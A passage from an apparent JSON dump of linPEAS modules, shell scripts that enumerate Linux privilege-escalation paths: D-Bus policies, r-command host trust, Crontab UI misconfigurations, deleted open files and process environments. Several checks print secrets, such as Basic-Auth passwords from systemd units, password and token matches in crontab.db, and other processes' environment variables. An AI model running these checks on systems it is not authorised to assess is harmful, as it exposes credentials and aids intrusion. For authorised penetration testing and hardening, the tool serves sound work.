\"context=\\\"default\\\"\" \"$file\" 2>/dev/null | grep \"allow\")\n        if [ -n \"$allow_rules\" ]; then\n            echo \"  └─(${RED}Allow rules in default context${NC})\"\n            echo \"     └─ $allow_rules\" | sed 's/^/        /'\n            weak_policies=$((weak_policies + 1))\n        fi\n        \n        # Check for specific dangerous policy patterns - using space-separated string instead of array\n        dangerous_patterns=\"allow_any allow_all allow_root allow_user allow_group allow_anonymous allow_any_user allow_any_group allow_any_uid allow_any_gid allow_any_pid allow_any_connection allow_any_method allow_any_property allow_any_signal allow_any_interface allow_any_path allow_any_destination allow_any_sender allow_any_receiver\"\n        \n        for pattern in $dangerous_patterns; do\n            if grep -qi \"$pattern\" \"$file\" 2>/dev/null; then\n                echo \"  └─(${RED}Dangerous policy pattern found: $pattern${NC})\"\n                weak_policies=$((weak_policies + 1))\n            fi\n        done\n        \n        return $weak_policies\n    }\n\n    # Analyze D-Bus Service Objects\n    dbuslist=$(busctl list 2>/dev/null)\n    if [ -n \"$dbuslist\" ]; then\n        echo \"$dbuslist\" | while read -r dbus_service; do\n            # Print service name with highlighting\n            echo \"$dbus_service\" | sed -${E} \"s,$dbuslistG,${SED_GREEN},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$rootcommon,${SED_GREEN},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\"\n            \n            # Analyze service if it's not in the known list\n            if ! echo \"$dbus_service\" | grep -qE \"$dbuslistG\"; then\n                dbussrvc_object=$(echo \"$dbus_service\" | cut -d \" \" -f1)\n                analyze_service_object \"$dbussrvc_object\"\n            fi\n        done\n    else\n        echo_not_found \"busctl\"\n    fi\n\n    # Analyze D-Bus Configuration Files\n    if [ \"$PSTORAGE_DBUS\" ]; then\n        echo \"\"\n        print_2title \"D-Bus Configuration Files\" \"T1559.001\"\n        echo \"$PSTORAGE_DBUS\" | while read -r dir; do\n            for dbus_file in \"$dir\"/*; do\n                if [ -f \"$dbus_file\" ]; then\n                    echo \"Analyzing $dbus_file:\"\n                    if analyze_policy_file \"$dbus_file\"; then\n                        echo \"  └─(${RED}Multiple weak policies found${NC})\"\n                    fi\n                fi\n            done\n        done\n    fi\n\n    # Check for D-Bus session bus\n    if command -v dbus-send >/dev/null 2>&1; then\n        echo \"\"\n        print_3title \"D-Bus Session Bus Analysis\" \"T1559.001\"\n        if dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames 2>/dev/null | grep -q \"Error\"; then\n            echo \"(${RED}No access to session bus${NC})\"\n        else\n            echo \"(${GREEN}Access to session bus available${NC})\"\n            # List available services on session bus\n            session_services=$(dbus-send --session --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames 2>/dev/null | grep \"string\" | sed 's/^/     /')\n            echo \"$session_services\"\n            \n            # Check for known dangerous session services - using space-separated string instead of array\n            dangerous_session_services=\"org.gnome.SettingsDaemon org.gnome.Shell org.gnome.SessionManager org.gnome.DisplayManager org.gnome.ScreenSaver org.freedesktop.Notifications org.freedesktop.ScreenSaver org.freedesktop.PowerManagement org.freedesktop.UPower org.freedesktop.NetworkManager org.freedesktop.Avahi org.freedesktop.UDisks2 org.freedesktop.ModemManager1 org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.systemd1 org.freedesktop.Accounts org.freedesktop.login1\"\n            \n            for dangerous_service in $dangerous_session_services; do\n                if echo \"$session_services\" | grep -qi \"$dangerous_service\"; then\n                    echo \"  └─(${RED}Known dangerous session service: $dangerous_service${NC})\"\n                    echo \"     └─ Try: dbus-send --session --dest=$dangerous_service / [Interface] [Method] [Arguments]\"\n                fi\n            done\n        fi\n    fi\nfi\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/15_Rcommands_trust.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Legacy r-commands and host-based trust\n# ID: PR_Rcommands_trust\n# Author: HT Bot\n# Last Update: 27-08-2025\n# Description: Detect legacy r-services (rsh/rlogin/rexec) exposure and dangerous host-based trust (.rhosts/hosts.equiv),\n#              which can allow passwordless root via hostname/DNS manipulation.\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1021.004\n# Functions Used: print_2title, print_3title, echo_not_found\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $rfile, $perms, $owner, $g, $o, $any_rhosts, $shown, $f, $p\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Legacy r-commands (rsh/rlogin/rexec) and host-based trust\" \"T1021.004\"\n  echo \"\"\n  print_3title \"Listening r-services (TCP 512-514)\" \"T1021.004\"\n  if command -v ss >/dev/null 2>&1; then\n    ss -ltnp 2>/dev/null | awk '$1 ~ /^LISTEN$/ && $4 ~ /:(512|513|514)$/ {print}' || echo_not_found \"ss\"\n  elif command -v netstat >/dev/null 2>&1; then\n    netstat -ltnp 2>/dev/null | awk '$6 ~ /LISTEN/ && $4 ~ /:(512|513|514)$/ {print}' || echo_not_found \"netstat\"\n  else\n    echo_not_found \"ss|netstat\"\n  fi\n\n  echo \"\"\n  print_3title \"systemd units exposing r-services\" \"T1021.004\"\n  if command -v systemctl >/dev/null 2>&1; then\n    systemctl list-unit-files 2>/dev/null | grep -E '^(rlogin|rsh|rexec)\\.(socket|service)\\b' || echo_not_found \"rlogin|rsh|rexec units\"\n    systemctl list-sockets 2>/dev/null | grep -E '\\b(rlogin|rsh|rexec)\\.socket\\b' || true\n  else\n    echo_not_found \"systemctl\"\n  fi\n\n  echo \"\"\n  print_3title \"inetd/xinetd configuration for r-services\" \"T1021.004\"\n  if [ -f /etc/inetd.conf ]; then\n    grep -vE '^\\s*#|^\\s*$' /etc/inetd.conf 2>/dev/null | grep -Ei '\\b(shell|login|exec|rsh|rlogin|rexec)\\b' 2>/dev/null || echo \"  No r-services found in /etc/inetd.conf\"\n  else\n    echo_not_found \"/etc/inetd.conf\"\n  fi\n  if [ -d /etc/xinetd.d ]; then\n    # Print enabled r-services in xinetd\n    for f in /etc/xinetd.d/*; do\n      [ -f \"$f\" ] || continue\n      if grep -qiE '\\b(service|disable)\\b' \"$f\" 2>/dev/null; then\n        if grep -qiE 'service\\s+(rsh|rlogin|rexec|shell|login|exec)\\b' \"$f\" 2>/dev/null; then\n          # Only warn if not disabled\n          if ! grep -qiE '^\\s*disable\\s*=\\s*yes\\b' \"$f\" 2>/dev/null; then\n            echo \"  $(basename \"$f\") may enable r-services:\"; grep -iE '^(\\s*service|\\s*disable)' \"$f\" 2>/dev/null | sed 's/^/    /'\n          fi\n        fi\n      fi\n    done\n  else\n    echo_not_found \"/etc/xinetd.d\"\n  fi\n\n  echo \"\"\n  print_3title \"Installed r-service server packages\" \"T1021.004\"\n  if command -v dpkg >/dev/null 2>&1; then\n    dpkg -l 2>/dev/null | grep -E '\\b(rsh-server|rsh-redone-server|krb5-rsh-server|inetutils-inetd|openbsd-inetd|xinetd|netkit-rsh)\\b' || echo \"  No related packages found via dpkg\"\n  elif command -v rpm >/dev/null 2>&1; then\n    rpm -qa 2>/dev/null | grep -Ei '\\b(rsh|rlogin|rexec|xinetd)\\b' || echo \"  No related packages found via rpm\"\n  else\n    echo_not_found \"dpkg|rpm\"\n  fi\n\n  echo \"\"\n  print_3title \"/etc/hosts.equiv and /etc/shosts.equiv\" \"T1021.004\"\n  for f in /etc/hosts.equiv /etc/shosts.equiv; do\n    if [ -f \"$f\" ]; then\n      perms=$(stat -c %a \"$f\" 2>/dev/null)\n      owner=$(stat -c %U \"$f\" 2>/dev/null)\n      echo \"  $f (perm $perms, owner $owner)\"\n      # Print non-comment lines\n      awk 'NF && $0 !~ /^\\s*#/ {print \"    \" $0}' \"$f\" 2>/dev/null\n      if grep -qEv '^\\s*#|^\\s*$' \"$f\" 2>/dev/null; then\n        if grep -qE '(^|\\s)\\+' \"$f\" 2>/dev/null; then\n          echo \"    [!] Wildcard '+' trust found\"\n        fi\n      fi\n    fi\n  done\n\n  echo \"\"\n  print_3title \"Per-user .rhosts files\" \"T1021.004\"\n  any_rhosts=false\n  for rfile in /root/.rhosts /home/*/.rhosts; do\n    if [ -f \"$rfile\" ]; then\n      any_rhosts=true\n      perms=$(stat -c %a \"$rfile\" 2>/dev/null)\n      owner=$(stat -c %U \"$rfile\" 2>/dev/null)\n      echo \"  $rfile (perm $perms, owner $owner)\"\n      awk 'NF && $0 !~ /^\\s*#/ {print \"    \" $0}' \"$rfile\" 2>/dev/null\n      # Warn on insecure perms (group/other write)\n      g=$(printf \"%s\" \"$perms\" | cut -c2)\n      o=$(printf \"%s\" \"$perms\" | cut -c3)\n      if [ \"${g:-0}\" -ge 2 ] || [ \"${o:-0}\" -ge 2 ]; then\n        echo \"    [!] Insecure permissions (group/other write)\"\n      fi\n    fi\n  done\n  if ! $any_rhosts; then echo_not_found \".rhosts\"; fi\n\n  echo \"\"\n  print_3title \"PAM rhosts authentication\" \"T1021.004\"\n  shown=false\n  for p in /etc/pam.d/rlogin /etc/pam.d/rsh; do\n    if [ -f \"$p\" ]; then\n      shown=true\n      echo \"  $p:\"\n      (grep -nEi 'pam_rhosts|pam_rhosts_auth' \"$p\" 2>/dev/null || echo \"    no pam_rhosts* lines\") | sed 's/^/    /'\n    fi\n  done\n  if ! $shown; then echo_not_found \"/etc/pam.d/rlogin|rsh\"; fi\n\n  echo \"\"\n  print_3title \"SSH HostbasedAuthentication\" \"T1021.004\"\n  if [ -f /etc/ssh/sshd_config ]; then\n    if grep -qiE '^[^#]*HostbasedAuthentication\\s+yes' /etc/ssh/sshd_config 2>/dev/null; then\n      echo \"  HostbasedAuthentication yes (check /etc/shosts.equiv or ~/.shosts)\"\n    else\n      echo \"  HostbasedAuthentication no or not set\"\n    fi\n  else\n    echo_not_found \"/etc/ssh/sshd_config\"\n  fi\n\n  echo \"\"\n  print_3title \"Potential DNS control indicators (local)\" \"T1021.004\"\n  (ps -eo comm,args 2>/dev/null | grep -Ei '(^|/)(pdns|pdns_server|pdns_recursor|powerdns-admin)( |$)' | grep -Ev 'grep|bash' || echo \"  Not detected\")\n\n  echo \"\"\nfi\n\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_Crontab_UI_misconfig.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Crontab UI (root) Misconfiguration\n# ID: PR_Crontab_UI_misconfig\n# Author: HT Bot\n# Last Update: 2025-09-13\n# Description: Detect Crontab UI service and risky configurations that can lead to privesc:\n#   - Root-run Crontab UI exposed on localhost\n#   - Basic-Auth credentials in systemd Environment= (BASIC_AUTH_USER/PWD)\n#   - Cron DB path (CRON_DB_PATH) and weak permissions / embedded secrets in jobs\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1053.003\n# Functions Used: print_2title, print_info, print_list, echo_not_found\n# Global Variables: $SEARCH_IN_FOLDER, $SED_RED, $SED_RED_YELLOW, $NC\n# Initial Functions:\n# Generated Global Variables: $svc, $state, $user, $envvals, $port, $dbpath, $dbfile, $candidates, $procs, $perms, $basic_user, $basic_pwd, $uprint, $pprint, $dir, $found\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Crontab UI (root) misconfiguration checks\" \"T1053.003\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs\"\n\n  # Collect candidate services referencing crontab-ui\n  candidates=\"\"\n  if command -v systemctl >/dev/null 2>&1; then\n    candidates=$(systemctl list-units --type=service --all 2>/dev/null | awk '{print $1}' | grep -Ei '^crontab-ui\\.service$' 2>/dev/null)\n  fi\n\n  # Fallback: grep service files for ExecStart containing crontab-ui\n  if [ -z \"$candidates\" ]; then\n    for dir in /etc/systemd/system /lib/systemd/system; do\n      [ -d \"$dir\" ] || continue\n      found=$(grep -RIl \"^Exec(Start|StartPre|StartPost)=.*crontab-ui\" \"$dir\" 2>/dev/null | xargs -r -I{} basename {} 2>/dev/null)\n      if [ -n \"$found\" ]; then\n        candidates=$(printf \"%s\\n%s\" \"$candidates\" \"$found\" | sort -u)\n      fi\n    done\n  fi\n\n  # Also flag if the binary exists or a process seems to be running\n  if command -v crontab-ui >/dev/null 2>&1; then\n    print_list \"crontab-ui binary found at: $(command -v crontab-ui)\"$NC\n  else\n    echo_not_found \"crontab-ui\"\n  fi\n\n  procs=$(ps aux 2>/dev/null | grep -E \"(crontab-ui|node .*crontab-ui)\" | grep -v grep)\n  if [ -n \"$procs\" ]; then\n    print_list \"Processes matching crontab-ui? ..................... \"$NC\n    printf \"%s\\n\" \"$procs\"\n    echo \"\"\n  fi\n\n  # If no candidates detected, exit quietly\n  if [ \"$candidates\" ]; then\n\n    # Iterate candidates and extract interesting data\n    printf \"%s\\n\" \"$candidates\" | while read -r svc; do\n      [ -n \"$svc\" ] || continue\n      # Ensure suffix .service if missing\n      case \"$svc\" in\n        *.service) : ;;\n        *) svc=\"$svc.service\" ;;\n      esac\n\n      state=\"\"\n      user=\"\"\n      if command -v systemctl >/dev/null 2>&1; then\n        state=$(systemctl is-active \"$svc\" 2>/dev/null)\n        user=$(systemctl show \"$svc\" -p User 2>/dev/null | cut -d= -f2)\n      fi\n\n      [ -z \"$state\" ] && state=\"unknown\"\n      [ -z \"$user\" ] && user=\"unknown\"\n\n      echo \"Service: $svc (state: $state, User: $user)\" | sed -${E} \"s,root,${SED_RED},g\"\n\n      # Read Environment from systemd (works even if file unreadable in many setups)\n      envvals=$(systemctl show \"$svc\" -p Environment 2>/dev/null | cut -d= -f2-)\n      if [ -n \"$envvals\" ]; then\n        basic_user=$(printf \"%s\\n\" \"$envvals\" | tr ' ' '\\n' | grep -E '^BASIC_AUTH_USER=' | head -n1 | cut -d= -f2-)\n        basic_pwd=$(printf \"%s\\n\" \"$envvals\" | tr ' ' '\\n' | grep -E '^BASIC_AUTH_PWD=' | head -n1 | cut -d= -f2-)\n        dbpath=$(printf \"%s\\n\" \"$envvals\" | tr ' ' '\\n' | grep -E '^CRON_DB_PATH=' | head -n1 | cut -d= -f2-)\n        port=$(printf \"%s\\n\" \"$envvals\" | tr ' ' '\\n' | grep -E '^PORT=' | head -n1 | cut -d= -f2-)\n\n        if [ -n \"$basic_user\" ] || [ -n \"$basic_pwd\" ]; then\n          uprint=\"$basic_user\"\n          pprint=\"$basic_pwd\"\n          [ -n \"$basic_pwd\" ] && pprint=\"$basic_pwd\"\n          echo \"  └─ Basic-Auth credentials in Environment: user='${uprint}' pwd='${pprint}'\" | sed -${E} \"s,pwd='[^']*',${SED_RED_YELLOW},g\"\n        fi\n\n        if [ -n \"$dbpath\" ]; then\n          echo \"  └─ CRON_DB_PATH: $dbpath\"\n        fi\n\n        # Check listener bound to localhost\n        [ -z \"$port\" ] && port=8000\n        if command -v ss >/dev/null 2>&1; then\n          if ss -ltn 2>/dev/null | grep -qE \"127\\.0\\.0\\.1:${port}[[:space:]]\"; then\n            echo \"  └─ Listener detected on 127.0.0.1:${port} (likely Crontab UI).\"\n          fi\n        else\n          if netstat -tnl 2>/dev/null | grep -qE \"127\\.0\\.0\\.1:${port}[[:space:]]\"; then\n            echo \"  └─ Listener detected on 127.0.0.1:${port} (likely Crontab UI).\"\n          fi\n        fi\n\n        # If we know DB path, try to read crontab.db for obvious secrets and check perms\n        if [ -n \"$dbpath\" ] && [ -d \"$dbpath\" ] && [ -r \"$dbpath\" ]; then\n          dbfile=\"$dbpath/crontab.db\"\n          if [ -f \"$dbfile\" ]; then\n            perms=$(ls -ld \"$dbpath\" 2>/dev/null | awk '{print $1, $3, $4}')\n            echo \"  └─ DB dir perms: $perms\"\n            if [ -w \"$dbpath\" ] || [ -w \"$dbfile\" ]; then\n              echo \"     └─ Writable by current user -> potential job injection!\" | sed -${E} \"s,.*,${SED_RED},g\"\n            fi\n            echo \"  └─ Inspecting $dbfile for embedded secrets in commands (zip -P / --password / pass/token/secret)...\"\n            grep -E \"-P[[:space:]]+\\S+|--password[[:space:]]+\\S+|[Pp]ass(word)?|[Tt]oken|[Ss]ecret\" \"$dbfile\" 2>/dev/null | head -n 20 | sed -${E} \"s,(${SED_RED_YELLOW}),\\1,g\"\n          fi\n        fi\n      fi\n      echo \"\"\n    done\n  fi\nfi\n\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/17_Deleted_open_files.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Deleted open files\n# ID: PR_Deleted_open_files\n# Author: Carlos Polop\n# Last Update: 2025-01-07\n# Description: Identify deleted files still held open by running processes\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG, $EXTRA_CHECKS, $E, $SED_RED\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif [ \"$(command -v lsof 2>/dev/null || echo -n '')\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"Deleted files still open\" \"T1083\"\n    print_info \"Open deleted files can hide tools and still consume disk space\"\n    lsof +L1 2>/dev/null | sed -${E} \"s,\\\\(deleted\\\\),${SED_RED},g\"\n    echo \"\"\nelif [ \"$EXTRA_CHECKS\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"Deleted files still open\" \"T1083\"\n    print_info \"lsof not found, scanning /proc for deleted file descriptors\"\n    ls -l /proc/[0-9]*/fd 2>/dev/null | grep \"(deleted)\" | sed -${E} \"s,\\\\(deleted\\\\),${SED_RED},g\" | head -n 200\n    echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh",
    "content": "# Title: Processes & Cron & Services & Timers - List processes\n# ID: PR_List_processes\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: List running processes and check for unusual configurations\n# License: GNU GPL\n# Version: 1.4\n# Mitre: T1057\n# Functions Used: print_2title, print_info, print_ps\n# Global Variables: $capsB, $knw_usrs, $nosh_usrs, $NOUSEPS, $processesB, $processesDump, $processesVB, $rootcommon, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders\n# Initial Functions:\n# Generated Global Variables: $pslist, $cpid, $caphex, $psline, $pid, $selinux_ctx, $current_env_vars, $env_findings, $apparmor_profile, $mount, $mount_findings, $fd_findings, $proc_cmd, $proc_user, $mount_point, $current_mounts, $fd_target, $var, $findings, $sec_findings, $proc_env_vars, $fd_count, $proc_mounts, $$escaped_var\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Running processes (cleaned)\" \"T1057\"\n  if [ \"$NOUSEPS\" ]; then\n    printf ${BLUE}\"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\\n\"$NC\n  fi\n  print_info \"Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes\"\n\n  if [ -f \"/etc/fstab\" ] && cat /etc/fstab | grep -q \"hidepid=2\"; then\n    echo \"Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users\"\n  fi\n\n  # Get current process environment variables\n  if [ -r \"/proc/self/environ\" ]; then\n    current_env_vars=$(cat /proc/self/environ 2>/dev/null | tr '\\0' '\\n' | sort)\n  else\n    current_env_vars=$(env 2>/dev/null | sort)\n  fi\n  \n  # Get current process mounts\n  if [ -r \"/proc/self/mountinfo\" ]; then\n    current_mounts=$(cat /proc/self/mountinfo 2>/dev/null | sort)\n  else\n    current_mounts=$(mount 2>/dev/null | sort)\n  fi\n\n  # Function to check for unusual environment variables\n  check_env_vars() {\n    local pid=\"$1\"\n    local proc_user=\"$2\"\n    local proc_cmd=\"$3\"\n    local findings=\"\"\n    \n    # Skip if we can't read the environment\n    [ ! -r \"/proc/$pid/environ\" ] && return\n    \n    # Get process environment variables\n    proc_env_vars=$(cat \"/proc/$pid/environ\" 2>/dev/null | tr '\\0' '\\n' | sort)\n    [ -z \"$proc_env_vars\" ] && return\n\n    # Find environment variables that the target process has but we don't\n    if [ -n \"$current_env_vars\" ]; then\n      echo \"$proc_env_vars\" | while read -r var; do\n        if [ -n \"$var\" ]; then\n          # Escape special regex characters in var\n          escaped_var=$(echo \"$var\" | sed 's/[][^$.*+?(){}|]/\\\\&/g')\n          if ! echo \"$current_env_vars\" | grep -q \"^$escaped_var$\"; then\n            if [ -z \"$findings\" ]; then\n              findings=\"Has additional environment variables:\"\n            fi\n            findings=\"$findings\\n  └─ $var\"\n          fi\n        fi\n      done\n    else\n      # If we can't get current env vars, just show all process env vars\n      findings=\"Has environment variables:\"\n      echo \"$proc_env_vars\" | while read -r var; do\n        if [ -n \"$var\" ]; then\n          findings=\"$findings\\n  └─ $var\"\n        fi\n      done\n    fi\n\n    # Return findings if any\n    if [ -n \"$findings\" ]; then\n      echo \"$findings\"\n    fi\n  }\n\n  # Function to check for unusual security contexts\n  check_security_context() {\n    local pid=\"$1\"\n    local proc_user=\"$2\"\n    local proc_cmd=\"$3\"\n    local findings=\"\"\n    \n    # Check SELinux context\n    if [ -r \"/proc/$pid/attr/current\" ]; then\n      selinux_ctx=$(cat \"/proc/$pid/attr/current\" 2>/dev/null)\n      if [ -n \"$selinux_ctx\" ] && [ \"$selinux_ctx\" != \"unconfined\" ]; then\n        findings=\"SELinux context: $selinux_ctx\"\n      fi\n    fi\n    \n    # Check AppArmor profile\n    if [ -r \"/proc/$pid/attr/apparmor/current\" ]; then\n      apparmor_profile=$(cat \"/proc/$pid/attr/apparmor/current\" 2>/dev/null)\n      if [ -n \"$apparmor_profile\" ] && [ \"$apparmor_profile\" != \"unconfined\" ]; then\n        if [ -n \"$findings\" ]; then\n          findings=\"$findings\\n  └─ AppArmor profile: $apparmor_profile\"\n        else\n          findings=\"AppArmor profile: $apparmor_profile\"\n        fi\n      fi\n    fi\n\n    # Return findings if any\n    if [ -n \"$findings\" ]; then\n      echo \"$findings\"\n    fi\n  }\n\n  # Function to check for unusual mount namespaces\n  check_mount_namespace() {\n    local pid=\"$1\"\n    local proc_user=\"$2\"\n    local proc_cmd=\"$3\"\n    local findings=\"\"\n    \n    # Skip if we can't read the mountinfo\n    [ ! -r \"/proc/$pid/mountinfo\" ] && return\n    \n    # Get process mounts\n    proc_mounts=$(cat \"/proc/$pid/mountinfo\" 2>/dev/null | sort)\n    [ -z \"$proc_mounts\" ] && return\n\n    # Find mounts that the target process has but we don't\n    if [ -n \"$current_mounts\" ]; then\n      echo \"$proc_mounts\" | while read -r mount; do\n        if [ -n \"$mount\" ] && ! echo \"$current_mounts\" | grep -q \"^$mount$\"; then\n          mount_point=$(echo \"$mount\" | sed \"s,.* - \\(.*\\),\\1,\")\n          if [ -z \"$findings\" ]; then\n            findings=\"Has additional mounts:\"\n          fi\n          findings=\"$findings\\n  └─ $mount_point\"\n        fi\n      done\n    else\n      # If we can't get current mounts, just show all process mounts\n      findings=\"Has mounts:\"\n      echo \"$proc_mounts\" | while read -r mount; do\n        if [ -n \"$mount\" ]; then\n          mount_point=$(echo \"$mount\" | sed \"s,.* - \\(.*\\),\\1,\")\n          findings=\"$findings\\n  └─ $mount_point\"\n        fi\n      done\n    fi\n\n    # Return findings if any\n    if [ -n \"$findings\" ]; then\n      echo \"$findings\"\n    fi\n  }\n\n  # Function to check for unusual file descriptors\n  check_file_descriptors() {\n    local pid=\"$1\"\n    local proc_user=\"$2\"\n    local proc_cmd=\"$3\"\n    local findings=\"\"\n    \n    # Skip if we can't read the file descriptors\n    [ ! -r \"/proc/$pid/fd\" ] && return\n\n    # Check for interesting file descriptors\n    for fd in /proc/$pid/fd/*; do\n      # Skip if fd doesn't exist or we can't access it\n      [ ! -e \"$fd\" ] && continue\n      \n      # Get fd target\n      fd_target=$(readlink \"$fd\" 2>/dev/null)\n      [ -z \"$fd_target\" ] && continue\n\n      # Skip if target doesn't exist\n      [ ! -e \"$fd_target\" ] && continue\n\n      # Check if we can access the FD but not the target file\n      if [ -r \"$fd\" ] && [ ! -r \"$fd_target\" ]; then\n        if [ -z \"$findings\" ]; then\n          findings=\"Readable FD to unreadable file: $fd -> $fd_target\"\n        else\n          findings=\"$findings\\n  └─ Readable FD to unreadable file: $fd -> $fd_target\"\n        fi\n      fi\n      if [ -w \"$fd\" ] && [ ! -w \"$fd_target\" ]; then\n        if [ -z \"$findings\" ]; then\n          findings=\"Writable FD to unwritable file: $fd -> $fd_target\"\n        else\n          findings=\"$findings\\n  └─ Writable FD to unwritable file: $fd -> $fd_target\"\n        fi\n      fi\n    done\n\n    # Check for unusual number of file descriptors\n    fd_count=$(ls -1 \"/proc/$pid/fd\" 2>/dev/null | wc -l)\n    [ -z \"$fd_count\" ] && return\n\n    # If process has more than 100 file descriptors, it might be interesting\n    if [ \"$fd_count\" -gt 100 ]; then\n      if [ -z \"$findings\" ]; then\n        findings=\"Unusual number of FDs: $fd_count\"\n      else\n        findings=\"$findings\\n  └─ Unusual number of FDs: $fd_count\"\n      fi\n    fi\n\n    # Return findings if any\n    if [ -n \"$findings\" ]; then\n      echo \"$findings\"\n    fi\n  }\n\n  if [ \"$NOUSEPS\" ]; then\n    print_ps | grep -v 'sed-Es' | sed -${E} \"s,$Wfolders,${SED_RED},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$rootcommon,${SED_GREEN},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\" | sed -${E} \"s,$processesVB,${SED_RED_YELLOW},g\" | sed \"s,$processesB,${SED_RED},\" | sed -${E} \"s,$processesDump,${SED_RED},\"\n    pslist=$(print_ps)\n  else\n    (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v \"\\[\" | grep -v \"%CPU\" | while read psline; do\n      echo \"$psline\"  | sed -${E} \"s,$Wfolders,${SED_RED},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$rootcommon,${SED_GREEN},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\" | sed -${E} \"s,$processesVB,${SED_RED_YELLOW},g\" | sed \"s,$processesB,${SED_RED},\" | sed -${E} \"s,$processesDump,${SED_RED},\"\n      if [ \"$(command -v capsh || echo -n '')\" ] && ! echo \"$psline\" | grep -q \"root\"; then\n        cpid=$(echo \"$psline\" | awk '{print $2}')\n        caphex=0x\"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')\"\n        if [ \"$caphex\" ] && [ \"$caphex\" != \"0x\" ] && echo \"$caphex\" | grep -qv '0x0000000000000000'; then\n          printf \"  └─(${DG}Caps${NC}) \"; capsh --decode=$caphex 2>/dev/null | grep -v \"WARNING:\" | sed -${E} \"s,$capsB,${SED_RED},g\"\n        fi\n      fi\n    done\n    pslist=$(ps auxwww)\n    echo \"\"\n  fi\n\n  # Additional checks for each process\n  print_2title \"Processes with unusual configurations\" \"T1057\"\n  for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf \"%f\\n\" 2>/dev/null); do\n    # Skip if process doesn't exist or we can't access it\n    [ ! -d \"/proc/$pid\" ] && continue\n    \n    # Get process user and command\n    proc_user=$(stat -c '%U' \"/proc/$pid\" 2>/dev/null)\n    proc_cmd=$(cat \"/proc/$pid/cmdline\" 2>/dev/null | tr '\\0' ' ' | head -c 100)\n    [ -z \"$proc_user\" ] || [ -z \"$proc_cmd\" ] && continue\n    \n    # Run all checks and collect findings\n    sec_findings=$(check_security_context \"$pid\" \"$proc_user\" \"$proc_cmd\")\n    mount_findings=$(check_mount_namespace \"$pid\" \"$proc_user\" \"$proc_cmd\")\n    fd_findings=$(check_file_descriptors \"$pid\" \"$proc_user\" \"$proc_cmd\")\n    env_findings=$(check_env_vars \"$pid\" \"$proc_user\" \"$proc_cmd\")\n\n    # If any findings exist, print process info and findings\n    if [ -n \"$env_findings\" ] || [ -n \"$sec_findings\" ] || [ -n \"$mount_findings\" ] || [ -n \"$fd_findings\" ]; then\n      echo \"Process $pid ($proc_user) - $proc_cmd\"\n      [ -n \"$env_findings\" ] && echo \"$env_findings\"\n      [ -n \"$sec_findings\" ] && echo \"$sec_findings\"\n      [ -n \"$mount_findings\" ] && echo \"$mount_findings\"\n      [ -n \"$fd_findings\" ] && echo \"$fd_findings\"\n      echo \"\"\n    fi\n  done\n\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh",
